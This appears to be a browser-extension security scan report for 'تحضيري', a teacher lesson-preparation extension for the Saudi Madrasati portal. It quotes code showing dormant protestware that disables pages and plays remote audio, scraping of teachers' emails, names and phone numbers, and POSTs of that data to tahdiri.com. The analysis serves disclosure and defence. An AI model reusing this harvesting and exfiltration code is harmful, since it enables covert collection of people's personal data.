تحضيري
ID: iclelabpkphlfifajflffldnlffhnigl
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- tahdiri.comView Profile
- Privacy
- Privacy Policy
- Help
- Help Center
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
تبسيط تعديل واعداد الحصص للمعلم
اضافة مهمة لدعم المعلمين في انجاز مهامهم اليومية بضغطة زر واحدة 1- اضافة مساعدة للمعلم في تحضر الدروس في جدول منصة مدرستي 2- المساعدة في اضافة الواجبات والاثراءات من منصة عين الى دروسك بشكل سريع وسهل ----------------------------------------------------------------- 3- يمكنك حفظ تحضير واستيراده في درس اخر بدلا من ان تكرر كتابة نفس التحضير لنفس الدرس لفصول متعددة ---------------------------------------------------------------- 4- تساعد الاضافة في تحضير حصص الاسبوع بشكل سريع وواضح 5- تمكنك الاضافة من وضع بيانات واثراءات معتمدة على الدرس المختار حيث تضع رابط الاثراء رابط شرح الدرس على منصة عين او رابط شرحه على اليوتيوب. ------------------------------------------------------------- 6- تساعد الاضافة في تغيير مسار الدرس ومن ثم تقوم بدعمك في تحضير الدرس بناءا على المسار المختار 7- يمكنك تغيير التحضير قبل الحفظ ----------------------------------------------------------- 8- لا تحتاج الاضافة الى اي كلمات مرور او حسابات 9- لا تقوم الاضافة بترحيل اي بيانات خارج جهاز المستخدم ---------------------------------------------------------- برمجة وتصميم : مؤسسة تحضيري لتصميم نظم الحاسب الآلي التعليمية والتدريبية مكة المكرمة 0542946749
Embedded SweetAlert2 v11.7.1 'protestware': if browser language starts with 'ru' and host TLD is .ru/.su/.xn--p1ai, after 3 days it disables pointer events on the page and loops an MP3 (Ukrainian anthem) from flag-gimn.ru. This is dormant in this extension because content_scripts only match Saudi madrasati.sa / noor.moe.gov.sa domains, but it is unsigned third-party behavior shipped inside the extension that loads remote audio from flag-gimn.ru and would activate on any future broader URL match.
if ("undefined" != typeof window && /^ru\b/.test(navigator.language) && location.host.match( /\.(ru|su|xn--p1ai)$/)) { let ni = new Date, ns = localStorage.getItem("swal-initiation"); ns ? (ni.getTime() - Date.parse(ns)) / 864e5 > 3 && setTimeout(() => { document.body.style.pointerEvents = "none"; let e = document.createElement("audio"); e.src = "https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3", e.loop = !0, document.body .appendChild(e), setTimeout(() => { e.play() .catch(() => {}) }, 2500) }, 500) : localStorage.setItem("swal-initiation", `${ni}`)}The extension silently fetches the teacher's profile page (/SystemUser/Home/UpdateMyInformation) and scrapes their Microsoft Teams email, full first/middle/family name, and Saudi mobile number (after stripping the +966 country code) into localStorage. This PII is later transmitted off-domain to tahdiri.com endpoints. There is no visible user-facing consent for this collection of identifying data from the school portal.
function One() { $.ajax({ url: data_url, type: "GET", success: function(e) { let t = new DOMParser() .parseFromString(e, "text/html"); email = $(t) .find(email_microsoft) .val(), name = $(t) .find("#FirstNameId") .val() + " " + $(t) .find("#SecondNameId") .val() + " " + $(t) .find("#FamilyNameId") .val(), phone_teacher = $(t) .find("#MobileId") .val() .split(966)[1], localStorage.setItem("email", email), localStorage.setItem("name", name), localStorage .setItem("phone_teacher", phone_teacher), Two() } })}While the user browses madrasati.sa, the content script POSTs the scraped teacher email to a third-party server (tahdiri.com) controlled by the extension developer. The same pattern is repeated in Sscript2.js (https://tahdiri.com/api/prepration/teacher and /api/prepration/data) sending email plus selected curriculum identifiers. This constitutes cross-site exfiltration of identifying data tied to a Saudi government education portal account.
$.ajax({ url: "https://tahdiri.com/api/subscripe", dataType: "json", type: "POST", contentType: "application/json; charset=utf-8", data: JSON.stringify({ email: email }), success: function(t) { let n = !1; "Busy" == t.payload.Server ? (online = !1, localStorage.setItem("busy", !0), numbers = 35) : "NotSub" == t .payload.user ? (not_sub = !0, numbers = 1) : t.payload.user_not_teacher ? n = !0 : (numbers = t.payload .Max_Request, localStorage.setItem("busy", !1), online = !0), !n && numbers < 1 && Twentyeight(t.payload .no_extrnal),Sends the previously harvested teacher email together with curriculum selection IDs to tahdiri.com. Combined with the profile-scraping in Sscript3.js (name, phone, email), the developer's external server can correlate Saudi schoolteachers' PII with the lessons they are preparing. This is unauthorized off-portal data flow from a sensitive government education context.
$.ajax({ url: "https://tahdiri.com/api/prepration/teacher", dataType: "json", type: "POST", contentType: "application/json; charset=utf-8", data: JSON.stringify({ email: localStorage.getItem("email"), SelectedUnitId: SelectedUnitId, SelectedTrees_2: SelectedTrees_2, SelectedTrees_3: SelectedTrees_3, SelectedTrees_4: SelectedTrees_4 }),The extension reads the page's anti-CSRF token (#csrfid / __RequestVerificationToken) and replays it on synchronous POSTs that create LearningResources, assignments, exams, and projects on the user's behalf. While targeted at the same origin (madrasati.sa) and consistent with the stated automation purpose, this is privileged action-on-behalf-of-user that bypasses the normal UI flow and could be abused if the upstream tahdiri.com server returns crafted activity_link / activity_name / activity_description payloads (which are fetched remotely and inserted directly into the POST body).
$.ajax({ url: "https://" + window.location.href.split("/")[2] + "/LearningResources/MangeResources/GetGoalLessonSubject", headers: { requestverificationtoken: $("#csrfid") .attr("value") }, data: { subjectId: $("#SelectedUnitId") .val() }, async: !1, cache: !1, type: "POST",By severity
Versions scanned
Showing 7 of 79 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 9.9.28 | 4 |
| 9.9.26 | 4 |
| 9.9.25 | 7 |
| 9.9.16 | 5 |
| 9.9.13 | 6 |
| 9.9.12 | 7 |
| 9.9.9 | 4 |
Files with findings
6 distinct paths — top paths by unique finding count:
- contentScript2.js17
- Sscript3.js8
- rule.json4
- Sscript.js4
- Sscript2.js3
- contentScript4.js1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.